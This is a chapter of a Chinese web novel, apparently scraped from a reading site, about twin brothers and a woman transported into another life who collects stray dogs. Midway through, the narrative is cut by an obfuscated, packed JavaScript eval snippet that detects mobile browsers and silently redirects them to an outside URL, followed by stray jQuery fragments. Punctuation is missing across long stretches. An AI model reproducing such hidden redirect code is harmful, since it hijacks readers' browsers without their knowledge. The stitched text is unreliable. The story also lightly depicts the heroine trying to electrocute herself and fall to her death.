第 164 章 社畜alpha(三)

作品:《攻略失败,但修罗场

    第164章社畜alpha(三)


    【二百五消消乐】


    程美昔在一阵剧烈的头痛中挣扎着睁开眼,视野范围内是熟悉的房间布置。


    漆成海军蓝的墙,古董实木罗盘用只钉子随意地挂在柜子门上,同色系的窗帘没拉上,堆积在角落里,窗户漏了缝,午后的日光和风都肆无忌惮地钻进来。


    房门被叩响,规律的三下,除了他的同胞兄弟不会有第二个人。


    “何姨做了醒酒汤。程美年说,“别把丢人现眼当习惯。


    他说这话时没有伪装,不带伪善的笑,不带装模做样的铺垫修饰词,整个人被铅灰色的训练服裹住,从头到脚都透着冷漠。


    程美昔偶尔怀疑自己的兄弟被掉包,但他分不清哪一个是真的,哪一个才应该消失。


    程美昔试着发声,出口的字句低哑难听,他咳了两声清清嗓子,带着不怀好意的刺探,“试问是把自己喝到断片更丢人显眼,还是对自己的血亲图谋不轨更丢人现眼?


    程美年站在门口没动,程美昔又问:“她这趟回鞎川,是为挽回顾名尧,还是又为哪桩风流情事?


    “这不是你该过问或议论的事。


    程美昔点头,摸着下巴若有所思,“那你呢?


    程美年冷冷地看着他,过了一会儿转身走人,只留下一句‘与你无关’。


    程美昔起身慢悠悠跟上,站在楼梯口向下问:“昨晚是你去接我的?


    程美年把弓包提起来,站在吊顶灯正下方抬头看过来,“我没那么多时间浪费在杂事上。


    门被不轻不重合上,程美昔装不下去,呲牙咧嘴皱起两道眉毛弯下腰,回到房间对着全身镜观察自己。


    鼻头发红,人中有褐色污渍,他用甲盖蹭了蹭,确定是干涸的血迹。


    头发乱到不成样子,鬓边沾着灰,再往下看,衣服破开可疑的撕裂洞,凶器不明。


    程美昔隔着布料按压,不确定地掀起衣摆,除去磕碰淤青不说,侧腰下后方还有半块可疑的掌印,颜色不重,但一碰就疼。


    他找出躺在茶几脚边的手机,对着没异常的通讯记录沉思几秒,走到窗前向下看。


    街道对侧刚开走一辆黑豹,那属于负责跟着程美年的保镖,黑豹里排还停了辆同型号车,窗户紧闭,但里面绝对有人,也绝对正在监视他。


    叫什么来着?


    那条油盐不进的走狗,最可气的走狗之首,似乎是叫做蒋什么玉。


    他只在写投诉信时


    去皇庭警署官方网页上认过人脸名字记完就忘。


    程美昔趿着拖鞋双手插兜晃到街边停在那辆车边没等他说话或动作


    邓赫摘下防阳墨镜“需要去哪里么。”


    “昨晚谁接的我?”


    邓赫和柯嘉颐持否认态度程美昔眯起眼睛往后座看一眼问:“那谁呢?”


    柯嘉颐说:“蒋队今天休息。”


    程美昔再问:“我怎么回来的?”


    两条走狗都没给他确切的答案。


    程美昔嗤一声转身离开前轻蔑道:“本职工作都做不好趁早结了薪水滚吧。”


    邓赫和柯嘉颐交换了个眼神一致认同此人重度脑残。


    程美昔在花园秋千架上躺着晒太阳被打的地方仍然在痛他想起什么循着消费记录拨通了那间酒吧的号码。


    “对是的您昨晚是来过我们这儿包厢开的是六小时早晨六点出头您的保护人来接您走了。”


    “什么保护人?”


    “就是那位高个子的短发alpha您给她的联系人备注是走……走狗。”


    “包厢都有些什么人?和我起过冲突么?”


    “没有的程先生。您是一个人来的全程只有服务生进出。至于冲突那就更不可能了您被接走的时候都还好好的。我们这里最讲究私密性和安全性客人都绝对放心的。”


    程美昔懒懒‘嗯’一声挂了电话伸手搭在额前轻轻拨了拨垂下来的碎发。


    哈。


    罪魁祸首这不就找到了。


    ***


    蒋逢玉在收拾屋子。


    或者说在拼凑线索。


    明面线索只有两条一条是那沓堆灰的便利贴条另一条是钉在墙上的日历。


    日历停在九月份不过圈圈划划的痕迹遍布十二张纸记录的语言很简洁缩写成外人很难看懂的字符串有些甚至只是涂鸦但蒋逢玉莫名其妙能理解涂鸦的精髓。


    9月1日一前一后两只圆架着‘丁’字不远处有道门这是骑脚踏车去上学;


    9月13日两对铃铛边上添了几根毛代表着要去绝育;


    9月17日一捧花一块板一瓶酒是祭拜的日子。


    蒋逢玉把日历从钉子上取下来翻页向后看十月要换冬被要捐钱打款要做志愿者十一月要参加年末队内大会十二月要休年假。


    浮尘被小窗内照进来的光束


    照成细碎的灿金色这不是学校楼舍不是高楼大平层也不是商务型经济酒店套房只是间不到60平的老房屋由几堵墙、几面柜子、几道门分成六个相连的空间。


    蒋逢玉把房子的每个部分都搜查过一遍


    专业电学知识约近于零但找死的勇气百分百。


    屋子里静悄悄的早前电器运转时发出的机械响动不知何时停下了猫不跳狗不叫蒋逢玉扒在梯子上磨接线头。


    火辣辣的刺感一阵一阵地冒试试看能不能被电死是一重原因企图靠电波紊乱和随便哪个系统接上线是另一重原因。


    死是死不了系统也没出现。


    蒋逢玉在木梯上站了会儿和房顶爬架上蹲坐着舔毛的黑猫互盯小黑踩着猫步走了她才回头往下看两脚往空气里踩。


    也没能摔死。


    沙发长了脚瞬移蒋逢玉摔得头晕感觉脖子会断仔仔细细摸骨摸半天并没断。


    二百用慈爱而关怀的目光注视着她二百五咬住拖鞋就满屋乱跑一百靠舌头给她呼哧呼哧扇风不良青年从架子上跳到沙发背又从沙发背跳到她腿上看着不轻也确实像个秤砣。


    “没事。”蒋逢玉说“没死呢。”


    一百小心翼翼地走到沙发尾开始锲而不舍地嚼她裤腿蒋逢玉盯着它看了一会儿总觉得眼熟。


    圆眼睛金棕毛黑鼻子粉舌头长一副愁云遍布的狗脸街上一抓一大把。


    蒋逢玉枕着胳膊侧躺伸手摸两把狗头猫背心里还是发愁。


    做任务就是往空白卷子上涂答案的过程现在她都坐进考场里了考官却迟迟不到卷子一并被扣押学得如何、背得深浅都只能憋着姓名班级学号誊给桌子看。


    两百把下巴垫在她手背闭着眼睛好像是在睡每隔几分钟又从鼻子里重重喷出口气带着热烘烘的狗味。


    “你一条斑点狗你愁什么?”蒋逢玉把它眼皮撑开二百五把拖鞋


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15192210|122537||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    叼回来邀功一样扭尾巴她也问二百五:“你一条傻狗你得意什么?”


    狗嘴里吐不出象牙也说不出人话没狗能回答她。


    她就一个勤勤恳恳上班的社畜而已何至于沦落至此?


    蒋逢玉想不通。


    这前半生里没太多好事发生上学时打工赚学费存生活费为那么一个钱字苦头吃了不少工作后兢兢


    业业风雨无阻,钱的苦是不吃了,又轮上这样的倒霉事。


    太阳从西边落下去,余晖斜斜地铺着,想不通的蒋逢玉骑上摩托,载着三条没烦恼的狗去附近的河道公园如厕撒野。


    城中心有扎堆的学校和高楼,自然也有平凡入俗的老楼,俗到像是回到她的世界。


    蒋逢玉捡完狗屎,拎着狗绳在河边长椅上坐下,大一点的小孩追着狗跑来跑去,更小一点的,被老人拴在滑轮车上,眼珠动来动去,也像狗。


    最像狗的人还在7月3日。


    也许这里没有宋舒延存在。


    蒋逢玉掏出传呼机,漫无目的地四处按按看看,在字母数字串里翻得头晕眼花,通讯录是天书,可惜她把家里翻个底朝天都没发觉旧手机的踪影。


    新手机也是没有的。


    她叹了口气,为不知所踪的系统,为前途不明的任务,也为遥不可及的归期,在这种惆怅中,蒋逢玉低下头,发觉脚边多出一只黑狗。


    斑点狗,白狗,黄狗,黑狗,长毛、短毛、斑秃,种类齐全。


    蒋逢玉问:“你从哪儿来的?”


    黑狗不说话,原地踏了两步。


    “老黑,这样不厚道。”蒋逢玉说,“好狗不能随便讹人。”


    黑狗看来不是好狗。


    蒋逢玉带着四条坏狗回了鸽子统,她想着反正三只是养,那么四只也一样是养,只是多个盆的事,却没想过黑狗可能有主。


    狗主循着内置芯片信号找上门时,蒋逢玉正在照着菜谱做猪食,她罩着防毒面具和清洁手套去应门,先是看见件水洗蓝的牛仔外套,然后是双狐狸眼睛。


    狐狸眼睛说:“您好,请问我的狗在这里吗?”


    黑狗从挤开的门缝里探出头,欢快地踩在蒋逢玉的脚面上原地踏步,尾巴晃得像螺旋桨,二百五张着嘴去吃扇起来的风,上下两排牙一磕一碰,面目狰狞。


    蒋逢玉说:“不在。”


    狐狸眼睛往黑狗脸上看一眼,移回她脸上,其间含义不言自明。


    蒋逢玉说:“要狗可以。”


    狐狸眼睛说:“我没什么钱。”


    蒋逢玉皱眉:“我说要你的钱了么。”


    狐狸眼睛点头,“那你说。”


    蒋逢玉扼住狗头往后扒拉一下,防止狗质逃脱,她清清嗓子,问:“叫什么名字?做什么工作的?今年几岁?分化性别是什么?有无犯罪前科?”


    在看到晋留宁的那瞬间里,她心里突然冒出两个离奇的假设。


    一、他是这一趟的男主备用人选。


    二、他的马甲和她的皮肤是同一种东西。


    狐狸眼睛一板一眼地回答:“无犯罪前科。”


    “分化性别是beta。”


    “今年27岁。”


    “是做空调维修工作的。”


    “名字叫做,金丛应。”


    作者有话要说


    天好冷,只能靠在小区里歹毒地招猫逗狗找乐子,sad